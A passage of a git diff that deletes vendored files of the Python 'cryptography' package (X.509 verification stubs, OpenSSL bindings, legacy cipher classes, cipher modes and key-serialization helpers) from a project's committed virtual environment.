subject(self) -> x509.Name: ... - @property - def signature_hash_algorithm( - self, - ) -> hashes.HashAlgorithm | None: ... - @property - def signature_algorithm_oid(self) -> x509.ObjectIdentifier: ... - @property - def signature_algorithm_parameters( - self, - ) -> PSS | PKCS1v15 | ECDSA | None: ... - @property - def extensions(self) -> x509.Extensions: ... - @property - def attributes(self) -> x509.Attributes: ... - def public_bytes(self, encoding: serialization.Encoding) -> bytes: ... - @property - def signature(self) -> bytes: ... - @property - def tbs_certrequest_bytes(self) -> bytes: ... - @property - def is_signature_valid(self) -> bool: ... - -class PolicyBuilder: - def time(self, time: datetime.datetime) -> PolicyBuilder: ... - def store(self, store: Store) -> PolicyBuilder: ... - def max_chain_depth(self, max_chain_depth: int) -> PolicyBuilder: ... - def extension_policies( - self, *, ca_policy: ExtensionPolicy, ee_policy: ExtensionPolicy - ) -> PolicyBuilder: ... - def build_client_verifier(self) -> ClientVerifier: ... - def build_server_verifier( - self, subject: x509.verification.Subject - ) -> ServerVerifier: ... - -class Policy: - @property - def max_chain_depth(self) -> int: ... - @property - def subject(self) -> x509.verification.Subject | None: ... - @property - def validation_time(self) -> datetime.datetime: ... - @property - def extended_key_usage(self) -> x509.ObjectIdentifier: ... - @property - def minimum_rsa_modulus(self) -> int: ... - -class Criticality: - CRITICAL: Criticality - AGNOSTIC: Criticality - NON_CRITICAL: Criticality - -T = typing.TypeVar("T", contravariant=True, bound=x509.ExtensionType) - -MaybeExtensionValidatorCallback = typing.Callable[ - [ - Policy, - x509.Certificate, - T | None, - ], - None, -] - -PresentExtensionValidatorCallback = typing.Callable[ - [Policy, x509.Certificate, T], - None, -] - -class ExtensionPolicy: - @staticmethod - def permit_all() -> ExtensionPolicy: ... - @staticmethod - def webpki_defaults_ca() -> ExtensionPolicy: ... - @staticmethod - def webpki_defaults_ee() -> ExtensionPolicy: ... - def require_not_present( - self, extension_type: type[x509.ExtensionType] - ) -> ExtensionPolicy: ... - def may_be_present( - self, - extension_type: type[T], - criticality: Criticality, - validator: MaybeExtensionValidatorCallback[T] | None, - ) -> ExtensionPolicy: ... - def require_present( - self, - extension_type: type[T], - criticality: Criticality, - validator: PresentExtensionValidatorCallback[T] | None, - ) -> ExtensionPolicy: ... - -class VerifiedClient: - @property - def subjects(self) -> list[x509.GeneralName] | None: ... - @property - def chain(self) -> list[x509.Certificate]: ... - -class ClientVerifier: - @property - def policy(self) -> Policy: ... - @property - def store(self) -> Store: ... - def verify( - self, - leaf: x509.Certificate, - intermediates: list[x509.Certificate], - ) -> VerifiedClient: ... - -class ServerVerifier: - @property - def policy(self) -> Policy: ... - @property - def store(self) -> Store: ... - def verify( - self, - leaf: x509.Certificate, - intermediates: list[x509.Certificate], - ) -> list[x509.Certificate]: ... - -class Store: - def __init__(self, certs: list[x509.Certificate]) -> None: ... - -class VerificationError(Exception): ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/openssl/__init__.py b/venv/Lib/site-packages/cryptography/hazmat/bindings/openssl/__init__.py deleted file mode 100644 index 41d731863aa2927b7a4fb02d7e536c35c678a102..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/openssl/__init__.py +++ /dev/null @@ -1,5 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/openssl/_conditional.py b/venv/Lib/site-packages/cryptography/hazmat/bindings/openssl/_conditional.py deleted file mode 100644 index 1e447a59e9e9f2eac4069cef1b7025388636be5d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/openssl/_conditional.py +++ /dev/null @@ -1,199 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - - -def cryptography_has_set_cert_cb() -> list[str]: - return [ - "SSL_CTX_set_cert_cb", - "SSL_set_cert_cb", - ] - - -def cryptography_has_ssl_st() -> list[str]: - return [ - "SSL_ST_BEFORE", - "SSL_ST_OK", - "SSL_ST_INIT", - "SSL_ST_RENEGOTIATE", - ] - - -def cryptography_has_tls_st() -> list[str]: - return [ - "TLS_ST_BEFORE", - "TLS_ST_OK", - ] - - -def cryptography_has_ssl_sigalgs() -> list[str]: - return [ - "SSL_CTX_set1_sigalgs_list", - ] - - -def cryptography_has_psk() -> list[str]: - return [ - "SSL_CTX_use_psk_identity_hint", - "SSL_CTX_set_psk_server_callback", - "SSL_CTX_set_psk_client_callback", - ] - - -def cryptography_has_psk_tlsv13() -> list[str]: - return [ - "SSL_CTX_set_psk_find_session_callback", - "SSL_CTX_set_psk_use_session_callback", - "Cryptography_SSL_SESSION_new", - "SSL_CIPHER_find", - "SSL_SESSION_set1_master_key", - "SSL_SESSION_set_cipher", - "SSL_SESSION_set_protocol_version", - ] - - -def cryptography_has_custom_ext() -> list[str]: - return [ - "SSL_CTX_add_client_custom_ext", - "SSL_CTX_add_server_custom_ext", - "SSL_extension_supported", - ] - - -def cryptography_has_tlsv13_functions() -> list[str]: - return [ - "SSL_CTX_set_ciphersuites", - ] - - -def cryptography_has_tlsv13_hs_functions() -> list[str]: - return [ - "SSL_VERIFY_POST_HANDSHAKE", - "SSL_verify_client_post_handshake", - "SSL_CTX_set_post_handshake_auth", - "SSL_set_post_handshake_auth", - "SSL_SESSION_get_max_early_data", - "SSL_write_early_data", - "SSL_read_early_data", - "SSL_CTX_set_max_early_data", - ] - - -def cryptography_has_ssl_verify_client_post_handshake() -> list[str]: - return [ - "SSL_verify_client_post_handshake", - ] - - -def cryptography_has_engine() -> list[str]: - return [ - "ENGINE_by_id", - "ENGINE_init", - "ENGINE_finish", - "ENGINE_get_default_RAND", - "ENGINE_set_default_RAND", - "ENGINE_unregister_RAND", - "ENGINE_ctrl_cmd", - "ENGINE_free", - "ENGINE_get_name", - "ENGINE_ctrl_cmd_string", - "ENGINE_load_builtin_engines", - "ENGINE_load_private_key", - "ENGINE_load_public_key", - "SSL_CTX_set_client_cert_engine", - ] - - -def cryptography_has_verified_chain() -> list[str]: - return [ - "SSL_get0_verified_chain", - ] - - -def cryptography_has_srtp() -> list[str]: - return [ - "SSL_CTX_set_tlsext_use_srtp", - "SSL_set_tlsext_use_srtp", - "SSL_get_selected_srtp_profile", - ] - - -def cryptography_has_dtls_get_data_mtu() -> list[str]: - return [ - "DTLS_get_data_mtu", - ] - - -def cryptography_has_ssl_cookie() -> list[str]: - return [ - "SSL_OP_COOKIE_EXCHANGE", - "DTLS1_COOKIE_LENGTH", - "DTLSv1_listen", - "SSL_CTX_set_cookie_generate_cb", - "SSL_CTX_set_cookie_verify_cb", - ] - - -def cryptography_has_prime_checks() -> list[str]: - return [ - "BN_prime_checks_for_size", - ] - - -def cryptography_has_unexpected_eof_while_reading() -> list[str]: - return ["SSL_R_UNEXPECTED_EOF_WHILE_READING"] - - -def cryptography_has_ssl_op_ignore_unexpected_eof() -> list[str]: - return [ - "SSL_OP_IGNORE_UNEXPECTED_EOF", - ] - - -def cryptography_has_get_extms_support() -> list[str]: - return ["SSL_get_extms_support"] - - -def cryptography_has_ssl_get0_group_name() -> list[str]: - return ["SSL_get0_group_name"] - - -# This is a mapping of -# {condition: function-returning-names-dependent-on-that-condition} so we can -# loop over them and delete unsupported names at runtime. It will be removed -# when cffi supports #if in cdef. We use functions instead of just a dict of -# lists so we can use coverage to measure which are used. -CONDITIONAL_NAMES = { - "Cryptography_HAS_SET_CERT_CB": cryptography_has_set_cert_cb, - "Cryptography_HAS_SSL_ST": cryptography_has_ssl_st, - "Cryptography_HAS_TLS_ST": cryptography_has_tls_st, - "Cryptography_HAS_SIGALGS": cryptography_has_ssl_sigalgs, - "Cryptography_HAS_PSK": cryptography_has_psk, - "Cryptography_HAS_PSK_TLSv1_3": cryptography_has_psk_tlsv13, - "Cryptography_HAS_CUSTOM_EXT": cryptography_has_custom_ext, - "Cryptography_HAS_TLSv1_3_FUNCTIONS": cryptography_has_tlsv13_functions, - "Cryptography_HAS_TLSv1_3_HS_FUNCTIONS": ( - cryptography_has_tlsv13_hs_functions - ), - "Cryptography_HAS_SSL_VERIFY_CLIENT_POST_HANDSHAKE": ( - cryptography_has_ssl_verify_client_post_handshake - ), - "Cryptography_HAS_ENGINE": cryptography_has_engine, - "Cryptography_HAS_VERIFIED_CHAIN": cryptography_has_verified_chain, - "Cryptography_HAS_SRTP": cryptography_has_srtp, - "Cryptography_HAS_DTLS_GET_DATA_MTU": cryptography_has_dtls_get_data_mtu, - "Cryptography_HAS_SSL_COOKIE": cryptography_has_ssl_cookie, - "Cryptography_HAS_PRIME_CHECKS": cryptography_has_prime_checks, - "Cryptography_HAS_UNEXPECTED_EOF_WHILE_READING": ( - cryptography_has_unexpected_eof_while_reading - ), - "Cryptography_HAS_SSL_OP_IGNORE_UNEXPECTED_EOF": ( - cryptography_has_ssl_op_ignore_unexpected_eof - ), - "Cryptography_HAS_GET_EXTMS_SUPPORT": cryptography_has_get_extms_support, - "Cryptography_HAS_SSL_GET0_GROUP_NAME": ( - cryptography_has_ssl_get0_group_name - ), -} diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/openssl/binding.py b/venv/Lib/site-packages/cryptography/hazmat/bindings/openssl/binding.py deleted file mode 100644 index 6e13df166a9d0bca54a3678f22fe80cdb1117f07..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/openssl/binding.py +++ /dev/null @@ -1,107 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import threading -import types -import typing -from collections.abc import Callable, Mapping - -import cryptography -from cryptography.exceptions import InternalError -from cryptography.hazmat.bindings._rust import _openssl, openssl -from cryptography.hazmat.bindings.openssl._conditional import CONDITIONAL_NAMES - - -def _openssl_assert(ok: bool) -> None: - if not ok: - errors = openssl.capture_error_stack() - - raise InternalError( - "Unknown OpenSSL error. This error is commonly encountered when " - "another library is not cleaning up the OpenSSL error stack. If " - "you are using cryptography with another library that uses " - "OpenSSL try disabling it before reporting a bug. Otherwise " - "please file an issue at https://github.com/pyca/cryptography/" - "issues with information on how to reproduce " - f"this. ({errors!r})", - errors, - ) - - -def build_conditional_library( - lib: typing.Any, - conditional_names: Mapping[str, Callable[[], list[str]]], -) -> typing.Any: - conditional_lib = types.ModuleType("lib") - conditional_lib._original_lib = lib # type: ignore[attr-defined] - excluded_names = set() - for condition, names_cb in conditional_names.items(): - if not getattr(lib, condition): - excluded_names.update(names_cb()) - - for attr in dir(lib): - if attr not in excluded_names: - setattr(conditional_lib, attr, getattr(lib, attr)) - - return conditional_lib - - -class Binding: - """ - OpenSSL API wrapper. - """ - - lib: typing.ClassVar[typing.Any] = None - ffi: typing.Any = _openssl.ffi - _lib_loaded = False - _init_lock = threading.Lock() - - def __init__(self) -> None: - self._ensure_ffi_initialized() - - @classmethod - def _ensure_ffi_initialized(cls) -> None: - with cls._init_lock: - if not cls._lib_loaded: - cls.lib = build_conditional_library( - _openssl.lib, CONDITIONAL_NAMES - ) - cls._lib_loaded = True - - @classmethod - def init_static_locks(cls) -> None: - cls._ensure_ffi_initialized() - - -def _verify_package_version(version: str) -> None: - # Occasionally we run into situations where the version of the Python - # package does not match the version of the shared object that is loaded. - # This may occur in environments where multiple versions of cryptography - # are installed and available in the python path. To avoid errors cropping - # up later this code checks that the currently imported package and the - # shared object that were loaded have the same version and raise an - # ImportError if they do not - so_package_version = _openssl.ffi.string( - _openssl.lib.CRYPTOGRAPHY_PACKAGE_VERSION - ) - if version.encode("ascii") != so_package_version: - raise ImportError( - "The version of cryptography does not match the loaded " - "shared object. This can happen if you have multiple copies of " - "cryptography installed in your Python path. Please try creating " - "a new virtual environment to resolve this issue. " - f"Loaded python version: {version}, " - f"shared object version: {so_package_version}" - ) - - _openssl_assert( - _openssl.lib.OpenSSL_version_num() == openssl.openssl_version(), - ) - - -_verify_package_version(cryptography.__version__) - -Binding.init_static_locks() diff --git a/venv/Lib/site-packages/cryptography/hazmat/decrepit/__init__.py b/venv/Lib/site-packages/cryptography/hazmat/decrepit/__init__.py deleted file mode 100644 index 41d731863aa2927b7a4fb02d7e536c35c678a102..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/decrepit/__init__.py +++ /dev/null @@ -1,5 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations diff --git a/venv/Lib/site-packages/cryptography/hazmat/decrepit/ciphers/__init__.py b/venv/Lib/site-packages/cryptography/hazmat/decrepit/ciphers/__init__.py deleted file mode 100644 index 41d731863aa2927b7a4fb02d7e536c35c678a102..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/decrepit/ciphers/__init__.py +++ /dev/null @@ -1,5 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations diff --git a/venv/Lib/site-packages/cryptography/hazmat/decrepit/ciphers/algorithms.py b/venv/Lib/site-packages/cryptography/hazmat/decrepit/ciphers/algorithms.py deleted file mode 100644 index 72dad04b8a09a29db9af5f77c0b92afc895341bd..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/decrepit/ciphers/algorithms.py +++ /dev/null @@ -1,145 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import warnings - -from cryptography import utils -from cryptography.hazmat.primitives._cipheralgorithm import ( - BlockCipherAlgorithm, - CipherAlgorithm, - _verify_key_size, -) - - -class ARC4(CipherAlgorithm): - name = "RC4" - key_sizes = frozenset([40, 56, 64, 80, 128, 160, 192, 256]) - - def __init__(self, key: bytes): - self.key = _verify_key_size(self, key) - - @property - def key_size(self) -> int: - return len(self.key) * 8 - - -class TripleDES(BlockCipherAlgorithm): - name = "3DES" - block_size = 64 - key_sizes = frozenset([64, 128, 192]) - - def __init__(self, key: bytes): - # Check the key type before the length-based deprecation warnings so - # an invalid key type doesn't trigger a spurious warning. - utils._check_byteslike("key", key) - if len(key) == 8: - warnings.warn( - "Single-key TripleDES (8-byte keys) is deprecated and " - "support will be removed in a future release. Use 24-byte " - "keys instead (e.g., key + key + key).", - utils.DeprecatedIn47, - stacklevel=2, - ) - key = key + key + key - elif len(key) == 16: - warnings.warn( - "Two-key TripleDES (16-byte keys) is deprecated and " - "support will be removed in a future release. Use 24-byte " - "keys instead (e.g., key + key[:8]).", - utils.DeprecatedIn47, - stacklevel=2, - ) - key = key + key[:8] - self.key = _verify_key_size(self, key) - - @property - def key_size(self) -> int: - return len(self.key) * 8 - - -# Not actually supported, marker for tests -class _DES: - key_size = 64 - - -class Blowfish(BlockCipherAlgorithm): - name = "Blowfish" - block_size = 64 - key_sizes = frozenset(range(32, 449, 8)) - - def __init__(self, key: bytes): - self.key = _verify_key_size(self, key) - - @property - def key_size(self) -> int: - return len(self.key) * 8 - - -class CAST5(BlockCipherAlgorithm): - name = "CAST5" - block_size = 64 - key_sizes = frozenset(range(40, 129, 8)) - - def __init__(self, key: bytes): - self.key = _verify_key_size(self, key) - - @property - def key_size(self) -> int: - return len(self.key) * 8 - - -class SEED(BlockCipherAlgorithm): - name = "SEED" - block_size = 128 - key_sizes = frozenset([128]) - - def __init__(self, key: bytes): - self.key = _verify_key_size(self, key) - - @property - def key_size(self) -> int: - return len(self.key) * 8 - - -class IDEA(BlockCipherAlgorithm): - name = "IDEA" - block_size = 64 - key_sizes = frozenset([128]) - - def __init__(self, key: bytes): - self.key = _verify_key_size(self, key) - - @property - def key_size(self) -> int: - return len(self.key) * 8 - - -class Camellia(BlockCipherAlgorithm): - name = "camellia" - block_size = 128 - key_sizes = frozenset([128, 192, 256]) - - def __init__(self, key: bytes): - self.key = _verify_key_size(self, key) - - @property - def key_size(self) -> int: - return len(self.key) * 8 - - -# This class only allows RC2 with a 128-bit key. No support for -# effective key bits or other key sizes is provided. -class RC2(BlockCipherAlgorithm): - name = "RC2" - block_size = 64 - key_sizes = frozenset([128]) - - def __init__(self, key: bytes): - self.key = _verify_key_size(self, key) - - @property - def key_size(self) -> int: - return len(self.key) * 8 diff --git a/venv/Lib/site-packages/cryptography/hazmat/decrepit/ciphers/modes.py b/venv/Lib/site-packages/cryptography/hazmat/decrepit/ciphers/modes.py deleted file mode 100644 index 1786bb04c9ee8f2f740e54a782c4e9c97e7e93f0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/decrepit/ciphers/modes.py +++ /dev/null @@ -1,53 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography import utils -from cryptography.hazmat.primitives._modes import ( - ModeWithInitializationVector, - _check_iv_and_key_length, -) - - -class OFB(ModeWithInitializationVector): - name = "OFB" - - def __init__(self, initialization_vector: utils.Buffer): - utils._check_byteslike("initialization_vector", initialization_vector) - self._initialization_vector = initialization_vector - - @property - def initialization_vector(self) -> utils.Buffer: - return self._initialization_vector - - validate_for_algorithm = _check_iv_and_key_length - - -class CFB(ModeWithInitializationVector): - name = "CFB" - - def __init__(self, initialization_vector: utils.Buffer): - utils._check_byteslike("initialization_vector", initialization_vector) - self._initialization_vector = initialization_vector - - @property - def initialization_vector(self) -> utils.Buffer: - return self._initialization_vector - - validate_for_algorithm = _check_iv_and_key_length - - -class CFB8(ModeWithInitializationVector): - name = "CFB8" - - def __init__(self, initialization_vector: utils.Buffer): - utils._check_byteslike("initialization_vector", initialization_vector) - self._initialization_vector = initialization_vector - - @property - def initialization_vector(self) -> utils.Buffer: - return self._initialization_vector - - validate_for_algorithm = _check_iv_and_key_length diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/__init__.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/__init__.py deleted file mode 100644 index 41d731863aa2927b7a4fb02d7e536c35c678a102..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/__init__.py +++ /dev/null @@ -1,5 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/_asymmetric.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/_asymmetric.py deleted file mode 100644 index ea55ffdf1a721f8fd2de8ae67de913bc47cbf55d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/_asymmetric.py +++ /dev/null @@ -1,19 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import abc - -# This exists to break an import cycle. It is normally accessible from the -# asymmetric padding module. - - -class AsymmetricPadding(metaclass=abc.ABCMeta): - @property - @abc.abstractmethod - def name(self) -> str: - """ - A string naming this padding (e.g. "PSS", "PKCS1"). - """ diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/_cipheralgorithm.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/_cipheralgorithm.py deleted file mode 100644 index 305a9fd3179cd439b7a86355e6cd6c8251583532..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/_cipheralgorithm.py +++ /dev/null @@ -1,60 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import abc - -from cryptography import utils - -# This exists to break an import cycle. It is normally accessible from the -# ciphers module. - - -class CipherAlgorithm(metaclass=abc.ABCMeta): - @property - @abc.abstractmethod - def name(self) -> str: - """ - A string naming this mode (e.g. "AES", "Camellia"). - """ - - @property - @abc.abstractmethod - def key_sizes(self) -> frozenset[int]: - """ - Valid key sizes for this algorithm in bits - """ - - @property - @abc.abstractmethod - def key_size(self) -> int: - """ - The size of the key being used as an integer in bits (e.g. 128, 256). - """ - - -class BlockCipherAlgorithm(CipherAlgorithm): - key: utils.Buffer - - @property - @abc.abstractmethod - def block_size(self) -> int: - """ - The size of a block as an integer in bits (e.g. 64, 128). - """ - - -def _verify_key_size( - algorithm: CipherAlgorithm, key: utils.Buffer -) -> utils.Buffer: - # Verify that the key is instance of bytes - utils._check_byteslike("key", key) - - # Verify that the key size matches the expected key size - if len(key) * 8 not in algorithm.key_sizes: - raise ValueError( - f"Invalid key size ({len(key) * 8}) for {algorithm.name}." - ) - return key diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/_modes.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/_modes.py deleted file mode 100644 index deae8bccc97590c8876009b8eed253123d9e3372..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/_modes.py +++ /dev/null @@ -1,105 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import abc - -from cryptography import utils -from cryptography.exceptions import UnsupportedAlgorithm, _Reasons -from cryptography.hazmat.primitives._cipheralgorithm import ( - BlockCipherAlgorithm, - CipherAlgorithm, -) - - -class Mode(metaclass=abc.ABCMeta): - @property - @abc.abstractmethod - def name(self) -> str: - """ - A string naming this mode (e.g. "ECB", "CBC"). - """ - - @abc.abstractmethod - def validate_for_algorithm(self, algorithm: CipherAlgorithm) -> None: - """ - Checks that all the necessary invariants of this (mode, algorithm) - combination are met. - """ - - -class ModeWithInitializationVector(Mode, metaclass=abc.ABCMeta): - @property - @abc.abstractmethod - def initialization_vector(self) -> utils.Buffer: - """ - The value of the initialization vector for this mode as bytes. - """ - - -class ModeWithTweak(Mode, metaclass=abc.ABCMeta): - @property - @abc.abstractmethod - def tweak(self) -> utils.Buffer: - """ - The value of the tweak for this mode as bytes. - """ - - -class ModeWithNonce(Mode, metaclass=abc.ABCMeta): - @property - @abc.abstractmethod - def nonce(self) -> utils.Buffer: - """ - The value of the nonce for this mode as bytes. - """ - - -class ModeWithAuthenticationTag(Mode, metaclass=abc.ABCMeta): - @property - @abc.abstractmethod - def tag(self) -> bytes | None: - """ - The value of the tag supplied to the constructor of this mode. - """ - - -def _check_aes_key_length(self: Mode, algorithm: CipherAlgorithm) -> None: - if algorithm.key_size > 256 and algorithm.name == "AES": - raise ValueError( - "Only 128, 192, and 256 bit keys are allowed for this AES mode" - ) - - -def _check_iv_length( - self: ModeWithInitializationVector, algorithm: BlockCipherAlgorithm -) -> None: - iv_len = len(self.initialization_vector) - if iv_len * 8 != algorithm.block_size: - raise ValueError(f"Invalid IV size ({iv_len}) for {self.name}.") - - -def _check_nonce_length( - nonce: utils.Buffer, name: str, algorithm: CipherAlgorithm -) -> None: - if not isinstance(algorithm, BlockCipherAlgorithm): - raise UnsupportedAlgorithm( - f"{name} requires a block cipher algorithm", - _Reasons.UNSUPPORTED_CIPHER, - ) - if len(nonce) * 8 != algorithm.block_size: - raise ValueError(f"Invalid nonce size ({len(nonce)}) for {name}.") - - -def _check_iv_and_key_length( - self: ModeWithInitializationVector, algorithm: CipherAlgorithm -) -> None: - if not isinstance(algorithm, BlockCipherAlgorithm): - raise UnsupportedAlgorithm( - f"{self} requires a block cipher algorithm", - _Reasons.UNSUPPORTED_CIPHER, - ) - _check_aes_key_length(self, algorithm) - _check_iv_length(self, algorithm) diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/_serialization.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/_serialization.py deleted file mode 100644 index 9c3c47447b9c3dc00a4e67d2b25c80969eadced4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/_serialization.py +++ /dev/null @@ -1,136 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import abc - -from cryptography import utils -from cryptography.hazmat.bindings._rust import Encoding as Encoding -from cryptography.hazmat.bindings._rust import ( - ParameterFormat as ParameterFormat, -) -from cryptography.hazmat.bindings._rust import PrivateFormat as PrivateFormat -from cryptography.hazmat.bindings._rust import PublicFormat as PublicFormat -from cryptography.hazmat.primitives.hashes import HashAlgorithm - -# This exists to break an import cycle. These classes are normally accessible -# from the serialization module. - - -class PBES(utils.Enum): - PBESv1SHA1And3KeyTripleDESCBC = "PBESv1 using SHA1 and 3-Key TripleDES" - PBESv2SHA256AndAES256CBC = "PBESv2 using SHA256 PBKDF2 and AES256 CBC" - - -class KeySerializationEncryption(metaclass=abc.ABCMeta): - pass - - -class BestAvailableEncryption(KeySerializationEncryption): - def __init__(self, password: bytes): - if not isinstance(password, bytes) or len(password) == 0: - raise ValueError("Password must be 1 or more bytes.") - - self.password = password - - -class NoEncryption(KeySerializationEncryption): - pass - - -class KeySerializationEncryptionBuilder: - def __init__( - self, - format: PrivateFormat, - *, - _kdf_rounds: int | None = None, - _hmac_hash: HashAlgorithm | None = None, - _key_cert_algorithm: PBES | None = None, - ) -> None: - self._format = format - - self._kdf_rounds = _kdf_rounds - self._hmac_hash = _hmac_hash - self._key_cert_algorithm = _key_cert_algorithm - - def kdf_rounds(self, rounds: int) -> KeySerializationEncryptionBuilder: - if self._kdf_rounds is not None: - raise ValueError("kdf_rounds already set") - - if not isinstance(rounds, int): - raise TypeError("kdf_rounds must be an integer") - - if rounds < 1: - raise ValueError("kdf_rounds must be a positive integer") - - return KeySerializationEncryptionBuilder( - self._format, - _kdf_rounds=rounds, - _hmac_hash=self._hmac_hash, - _key_cert_algorithm=self._key_cert_algorithm, - ) - - def hmac_hash( - self, algorithm: HashAlgorithm - ) -> KeySerializationEncryptionBuilder: - if self._format is not PrivateFormat.PKCS12: - raise TypeError( - "hmac_hash only supported with PrivateFormat.PKCS12" - ) - - if self._hmac_hash is not None: - raise ValueError("hmac_hash already set") - return KeySerializationEncryptionBuilder( - self._format, - _kdf_rounds=self._kdf_rounds, - _hmac_hash=algorithm, - _key_cert_algorithm=self._key_cert_algorithm, - ) - - def key_cert_algorithm( - self, algorithm: PBES - ) -> KeySerializationEncryptionBuilder: - if self._format is not PrivateFormat.PKCS12: - raise TypeError( - "key_cert_algorithm only supported with PrivateFormat.PKCS12" - ) - if self._key_cert_algorithm is not None: - raise ValueError("key_cert_algorithm already set") - return KeySerializationEncryptionBuilder( - self._format, - _kdf_rounds=self._kdf_rounds, - _hmac_hash=self._hmac_hash, - _key_cert_algorithm=algorithm, - ) - - def build(self, password: bytes) -> KeySerializationEncryption: - if not isinstance(password, bytes) or len(password) == 0: - raise ValueError("Password must be 1 or more bytes.") - - return _KeySerializationEncryption( - self._format, - password, - kdf_rounds=self._kdf_rounds, - hmac_hash=self._hmac_hash, - key_cert_algorithm=self._key_cert_algorithm, - ) - - -class _KeySerializationEncryption(KeySerializationEncryption): - def __init__( - self, - format: PrivateFormat, - password: bytes, - *, - kdf_rounds: int | None, - hmac_hash: HashAlgorithm | None, - key_cert_algorithm: PBES | None, - ): - self._format = format - self.password = password - - self._kdf_rounds = kdf_rounds - self._hmac_hash = hmac_hash - self._key_cert_algorithm = key_cert_algorithm diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/__init__.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/__init__.py deleted file mode 100644 index 41d731863aa2927b7a4fb02d7e536c35c678a102..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/__init__.py +++ /dev/null @@ -1,5 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/dh.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/dh.py deleted file mode 100644 index 814fdd3f8311594419ebff8e2c085efecabc6006..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/dh.py +++ /dev/null @@ -1,253 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import abc - -from cryptography import utils -from cryptography.hazmat.bindings._rust import openssl as rust_openssl -from cryptography.hazmat.primitives import _serialization - -_FFDH_DEPRECATION_MSG = ( - "Diffie-Hellman over finite fields (FFDH) is deprecated and support " - "will be removed in a future release. Use a more modern key exchange " - "algorithm." -) - -generate_parameters = rust_openssl.dh.generate_parameters - - -DHPrivateNumbers = rust_openssl.dh.DHPrivateNumbers -DHPublicNumbers = rust_openssl.dh.DHPublicNumbers -DHParameterNumbers = rust_openssl.dh.DHParameterNumbers - - -class DHParameters(metaclass=abc.ABCMeta): - @abc.abstractmethod - def generate_private_key(self) -> DHPrivateKey: - """ - Generates and returns a DHPrivateKey. - """ - - @abc.abstractmethod - def parameter_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.ParameterFormat, - ) -> bytes: - """ - Returns the parameters serialized as bytes. - """ - - @abc.abstractmethod - def parameter_numbers(self) -> DHParameterNumbers: - """ - Returns a DHParameterNumbers. - """ - - -DHParametersWithSerialization = DHParameters -DHParameters.register(rust_openssl.dh.DHParameters) - - -class DHPublicKey(metaclass=abc.ABCMeta): - @property - @abc.abstractmethod - def key_size(self) -> int: - """ - The bit length of 